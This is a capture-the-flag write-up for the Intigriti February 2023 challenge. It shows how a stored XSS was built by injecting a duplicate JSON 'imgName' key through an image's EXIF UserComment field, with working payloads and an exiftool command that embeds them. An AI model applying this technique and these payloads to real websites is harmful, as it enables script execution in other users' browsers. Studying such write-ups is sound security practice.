Introduction

The Intigriti CTF challenge (via twitter) for February 2023.

https://challenge-0223.intigriti.io/

The rules are simple:

  • Should work on the latest version of Chrome and FireFox.
  • Should execute alert the challenge domain.
  • Should leverage a cross site scripting vulnerability on this domain.
  • Shouldn’t be self-XSS or related to MiTM attacks.
  • Should NOT use another challenge on the intigriti.io domain.
  • Should be reported at go.intigriti.com/submit-solution.

The XSS PoC can be found here: https://challenge-0223.intigriti.io/view?viewId=4c93fc3b-28b5-45a3-b90e-63551db09d06

To begin with setup Burp proxy for the url above and then run through the application and have a quick play around. I’ll use Burp for this as it has a few helpful tools like the encoder/decoder and it displays the response output in a nice clean easy to view format.

Viewing the “create” page we can see the end-user has a few options.

  • The end-user has the option to select various alterations to create their own customised “Leek” NFT.
  • The end-user can upload a background image.
  • The end-user can save their NFT and share it via a url.
  • The end-user can reset their NFT options.

Looking at the source code for this page we can see some interesting looking javascript, specifically:

    function updateconfig(message)
    {
        document.getElementById("sbtn").href = "/save?config=" + btoa(message);
    }

Which is called like this:

    updateconfig("(" + curentimage.toString() + ")");

or like this when the user clicks the reset button.

    updateconfig("(0,0,0)");

Perhaps we can somehow use this function to perform a stored XSS? But let’s not get ahead of ourselves! After clicking the save button, we are taken to a view page.

In Burp our request looks something like this:

GET /view?viewId=6937e0e9-c1c6-4664-b2dc-945eb032b0ae HTTP/2
Host: challenge-0223.intigriti.io
Cookie: SESSION=6937e0e9-c1c6-4664-b2dc-945eb032b0ae
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/109.0

etc..

And the full url is:

https://challenge-0223.intigriti.io/view?viewId=6937e0e9-c1c6-4664-b2dc-945eb032b0ae

Presumably I can send that url to someone and they’ll see my custom Leek NFT. So far so good.

Let’s take a look at the source for this page.

Immediately we see there’s a block of Javascript that is extracting EXIF data from our NFT image.

The NFT image is loaded into a DOM element and then EXIF data is extracted and set as innerHTML on various page elements.

  1. document.getElementById(‘viewdisplay’).src = “/static/images/uploads/”+viewId+”/NFT.jpg”;
  2. EXIF.getData….
  3. namfield.innerHTML = “Image name: “ + temp.imgName;

Most of the properties are sanitized though, eg.: DOMPurify.sanitize(temp.imgComment), but the temp.imgName property is not.

A plan

So our plan is now clear.. We will setup an XSS payload in an EXIF property of an image and upload it as the background for our NFT. When the page loads the EXIF library will extract the properties and inject them into the page, triggering our XSS exploit.

Our XSS payload will come from the User Comment EXIF property.
var n = EXIF.getTag(this,"UserComment");

The DOM sink will be: namfield.innerHTML = "Image name: " + temp.imgName;

Our payload will be: <img src=n onerror=alert()>

The situation is as follows:

  • The DOM elements are set with values from the temp object.
  • The temp object is created by parsing a string of JSON.
  • The string of JSON is created from an object which was created from a string built using user supplied input.

This is all good and works well for us, however the problem is our XSS payload is stored in the strval variable, which is assigned to the imgComment property of the JSON, the but we need our XSS payload in the imgName property!

Note: I have reformatted the code below to make it easier to see the structure of the JSON.

// JSON string containing user supplied values 
var imgobj = '{
	  "imgName":"NFT.jpg", 
	  "imgColorType": " '+ strcol +' ",
	  "imgComment": " '+ strval +' " 
	  }';

const x = Object.assign({},JSON.parse(imgobj));

// Create the temp object from the JSON string and object above.
try
{
    var t = JSON.stringify(x);
    console.log("Working on: " + x.toString());
    var temp = JSON.parse(t);

To deliver our XSS we need imageName to contain the XSS stored in strval. To exploit this first we need to craft our payload: <img src=n onerror=alert()> Next we need to inject this into the strval variable so that we can eventually use the payload for the property imgName.

We want the JSON string to look something like:

{
	"imgColorType": " 2022:09:07 12:34:08 ",
 	"imgComment": " ", 
 	"imgName":"<img src=n onerror=alert(document.domain)> " 
}

Lets setup a simple Lab to work in first.

  1. Copy and save the HTML of the view page.
  2. Copy a JPG image into the directory that contains our copy of the HTML page.
  3. Edit the code to hardcode our own image (on line 88):
    document.getElementById('viewdisplay').src = "exif.jpg";
  4. Run a local python http server to serve the page locally. (python -m http.server 80)
  5. Now we can easily edit the code to help test our payload.

The approach we’ll take is to make our strval XSS payload close the first double quote for the string of the imgComment property then add a comma followed by another imgName property containing our XSS:

We want to go from:

var imgobj = '{
	 "imgName":"NFT.jpg",
	 "imgColorType": " '+ strcol +' ",
	 "imgComment": " '  + strval +   ' " 
	 }';

// Example of the standard JSON string we'd get.
{"imgName": "NFT.jpg", "imgColorType": "colortype", "imgComment": "acomment" }

To the following, note that we have two entries for imgName now:

// Overriding the first imgName property, with another imgName property we control.
// Object.assign will end up using the last imgName key/value pair.
{
	"imgName": "NFT.jpg", 
 	"imgColorType": "colortype", 
	"imgComment": "", 
	"imgName": "XSS_PAYLOAD_HERE" 
}

Back to our Lab and our local copy… In our local copy of the HTML we should have something like this:

// A new variable we can tweak until we get the desired output
// notice the first double quote will close the existing open double quote
// then we add a comma and finally we add another imageName property and the 
// XXS payload.
    
// Spoiler alert - This is the value we'd need.   
ideal_strval = '" ,"imgName":"<img src=n onerror=alert()>'   
	
//temporary variable we can use to get the payload correct while testing locally.   
strval = "MODIFY THIS VALUE UNTIl WE GET THE DESIRED OUTPUT IN THE OBJECT BELOW"   

// This is the original code we need to work with so we don't change this.   
var imgobj = 
	'{"imgName":"NFT.jpg", "imgColorType":"'+strcol+'", "imgComment":"'+strval+'"}';   

// our local debug comments to help develop the ideal_strval/strval value.
console.log("got UserComment: "+strval);
console.log("need UserComment: "+ideal_strval);     
console.log(imgobj);

// This is the original code we need to work with so we don't change this.
const x = Object.assign({},JSON.parse(imgobj));

When we edit the value of strval and then loading/reloading the page, we can easily see the output in the browser’s developer tools console.

Once we get the value that doesn’t cause any JSON errors and pops an alert box we know what the value for the EXIF property should be.

Now all we need to do is update an image to contain the XSS payload and upload it to the site.

exiftool -usercomment='","imgName":"<img src=n onerror=alert()>' exif.jpg

Once that’s done we can share the url with anyone and run our own javascript in their browser. The result can be seen here: https://challenge-0223.intigriti.io/view?viewId=4c93fc3b-28b5-45a3-b90e-63551db09d06

poc screen shot

It’s not really needed to setup a local copy of the page in our “Lab” for this particular challenge. We could have done it all in the browser tools console to figure out the correct payload however I do think this is something that can be very helpful and practicing/developing a habit of doing it like this will probably pay off for more complex challenges.

If you have any questions or comments feel free to reach out to me on Twitter: @shaunau